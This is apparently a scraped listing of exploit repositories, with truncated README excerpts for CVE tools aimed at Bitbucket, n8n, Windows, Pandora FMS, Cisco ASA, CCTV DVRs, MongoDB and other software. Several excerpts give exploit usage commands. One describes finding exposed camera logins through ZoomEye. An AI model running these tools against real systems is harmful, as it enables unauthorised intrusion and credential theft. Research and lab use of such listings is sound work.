CVE-2022-36804

CVE-2022-36804 你可以找到一个用于利用 Bitbucket 上 CVE-2022-36804 相关漏洞的 Python 脚本。 root@kitploit: .,;;. .:lll:. 'clllllc. ,llolllooc' 'loooooooool, .;ooooooooooo;. .:;..;odddddddddo:. 'ldo:. ,llccoddddddc. ,oddddc. .. .:dddddddl' .;dxxxxxxc. .;dxxxxxxo, .:dxxxxxxo' ,dxxxxxxd; .cxxxxxxxl. 'oxxxxxxx:...

n8n-exploit-CVE-2025-68613-n8n-God-Mode-Ultimate

n8n God Mode Ultimate - CVE-2025-68613 扫描与利用框架 高级 n8n 工作流自动化 RCE 扫描与利用工具 🎯 概览 n8n God Mode Ultimate 是一个全面的安全测试框架，旨在检测和验证 n8n 工作流自动化平台中的 CVE-2025-68613。该严重远程代码执行（RCE）漏洞通过工作流执行上下文中的表达式注入影响 n8n 版本。 CVE-2025-68613 详情 CVSS 评分 : 10.0（严重） 攻击向量 : 网络...

CVE-2020-0796-LPE-EXP

CVE-2020-0796-LPE-EXP Windows SMBv3 LPE exploit 已编译版 源项目来至：https://github.com/danigargu/CVE-2020-0796 编译环境：Win10 1909、VS2019 已测试x64版Exp，x86版无环境未测试。...

CVE-2025-54309

此存储库没有 README。...

pandorafms_7.44

Pandora FMS 7.44 CVE-2020-13851 Pandora FMS 7.44 CVE-2020-13851 RCE 允许经过身份验证的用户通过事件功能实现远程命令执行。可以使用凭据或 PHP 会话 cookie 进行操作。 开始使用 执行程序 使用凭据 root@kitploit: python3 pandorafms7.44.py -t http://pwnedpandora.com/ -u username -p password -lhost 127.0.0.1 -lport 1337 使用 PHP 会话 cookie root@kitploit: python...

patch_CVE-2023-22809

patchCVE-2023-22809 Bash 脚本：sudo 安装 该 Bash 脚本自动在您的系统上安装最新版本的 sudo。 前提条件 基于 Linux 的操作系统 已安装 wget 软件包（可使用包管理器安装） 用法 1. 将此仓库克隆或下载到本地计算机。 2. 进入包含该脚本的目录。 3. 在脚本目录中打开终端。 4. 使用以下命令使脚本可执行： root@kitploit: chmod +x CVE-2023-22809Patch.sh 使用提升的权限运行脚本： bash 复制代码 sudo ./installsudo.sh 该脚本将从指定 URL 下载最新版本的 sudo...

CVE-2022-1966

此存储库没有 README。...

Blueborne-CVE-2017-1000251

Blueborne 一个使用Blueborne漏洞（CVE-2017-1000251）的简单蓝牙拒绝服务攻击工具。...

CVE-2021-24145

CVE-2021-24145 WordPress文件上传漏洞，Modern Events Calendar Lite WordPress插件5.16.5之前版本 https://nvd.nist.gov/vuln/detail/CVE-2021-24145 安装与运行顺序 1. WordPress安装 进行安装时，请从docker-compose.yml文件中进行端口转发。 root@kitploit: $ docker-compose up 2. WordPress初始化及插件安装 前往 http://web服务器ip:端口/ 进行基本安装。 前往 插件 - 添加新 - 上传插件。...

CVE-2026-64561

CVE-2026-64561 Donar Apoya el mantenimiento de este proyecto con PayPal o escaneando el código QR a continuación. ⚡ Uso sencillo Use este proyecto únicamente en entornos seguros y autorizados, como: Máquinas virtuales locales Contenedores Docker Entornos de laboratorio aislados Entornos de prueba...

CVE-2020-3452_auto

通过 CVE-2020-3452 枚举 Cisco ASA 并下载文件 root@kitploit: python enum.py target 使用 unluac 转换 Lua 字节码 root@kitploit: bash convert.sh...

CVE-2018-16858

CVE-2018-16858...

CVE-2024-1709-and-CVE-2024-1708

此存储库没有 README。...

HTC

攻击CCTV DVR凭据泄露 | CVE-2018-9995 | 安防摄像头泄露用户名用于获取登录权限 如何使用？ root@kitploit: 打开 https://www.zoomeye.org/ 搜索关键词 '/login.rsp' 等待获取IP和端口 $ python3 thecctv.py 更多信息 操作系统| 语言| 联系方式 ---|---|--- Linux Ubuntu| Pythonv3| [email protected] Keyw0rd上传此 3...

AutoHoneyPoC

AutoHoneyPoC AutoPoC Generator HoneyPoC edición definitiva. Si es la primera vez que oyes o ves el proyecto, querrás leer la entrada del blog. https://blog.zsec.uk/honeypoc-ultimate/ Aunque estoy publicando AutoPoC, el framework por sí solo es inofensivo, ya que requiere algunos requisitos previo...

CVE-2025-14847_Expolit

MongoBleed-Pro ☠️ Herramienta avanzada de explotación de fugas de memoria de MongoDB Sigue aprendiendo | Sigue hackeando con CyberTechAjju 🔥 Acerca de MongoBleed-Pro es una herramienta avanzada de explotación para CVE-2025-14847 , una vulnerabilidad crítica de divulgación de memoria en el manejo d...

apache-activemq-rce-research

Apache ActiveMQ Classic — RCE 研究 针对 Apache ActiveMQ Classic 中 Jolokia → addNetworkConnector → xbean/Spring-XML 远程代码执行链（CVE-2026-34197 及其补丁绕过 CVE-2026-42588 ）的私有研究存档，外加对已修复的 6.2.6 版本的全自动重审计，以及与 Crowdfense 公开的绕过文章进行的并列对比。 所有利用均在 本地实验室 Broker （Docker / 自托管）上执行。Payload 使用占位符攻击者主机。 目录...

CVE-2018-8120

CVE-2018-8120 CVE-2018-8120 Windows LPE 漏洞利用程序 支持 x32 和 x64。 已在以下系统上测试：Win7 x32、Win7 x64、Win2008 x32、Win2008 R2 x32、Win2008 R2 Datacenter x64、Win2008 Enterprise x64。 用法 root@kitploit: CVE-2018-8120 exploit by @unamerhttps://github.com/unamer Usage: exp.exe command Example: exp.exe "net user admin...

CVE-2024-6387-Check

CVE-2024-6387 检测器 CVE-2024-6387 检测器是一款用于检测易受 regreSSHion 漏洞攻击的 OpenSSH 服务器的快速高效工具。它可快速扫描多个 IP、域名和 CIDR 范围，帮助识别风险并保护您的基础设施。 安装 root@kitploit: wget https://static.devarshi.dev/cve-2024-6387/check.sh && chmod +x ./check.sh && ./check.sh 功能特性 高效扫描 ：快速检查 IP 地址、域名和 CIDR 范围内的 CVE-2024-6387 漏洞。 清晰输出...

nginxpwn

漏洞利用训练 -- CVE-2013-2028: Nginx 基于栈的缓冲区溢出 该仓库包含 nginx 1.4.0 源代码以及预编译的二进制文件（含和不含栈保护）。此外还提供了一个 Vagrantfile 以便快速搭建环境。 公告与补丁：http://mailman.nginx.org/pipermail/nginx-announce/2013/000112.html 漏洞分析文章：http://www.vnsecurity.net/research/2013/05/21/analysis-of-nginx-cve-2013-2028.html Setup root@kitploit:...